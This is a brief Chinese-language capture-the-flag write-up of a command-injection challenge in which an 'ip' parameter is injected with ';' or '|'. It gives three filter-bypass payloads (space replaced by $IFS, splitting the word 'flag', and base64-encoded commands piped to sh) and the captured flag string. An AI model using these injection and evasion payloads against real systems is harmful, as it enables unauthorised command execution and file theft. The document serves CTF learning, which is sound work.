1.访问页面，提示传参为ip。
2.?ip=明显存在命令执行注入，使用 ; 或者 | 闭合上一条命令。
- 经过fuzz测试，过滤了空格、bash字符、flag字符、以及一些特殊符号。
- ?ip=;ls时，发现flag.php就在当前目录下。
3.构造POC，获取Flag。
方案一：
;a=g;cat$IFS$1fla$a.php
方案二：
;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方案三：
;cat$IFS$9`ls`
$flag = "flag{dee32435-d7bd-485a-8fed-f61ac98d81d3}";
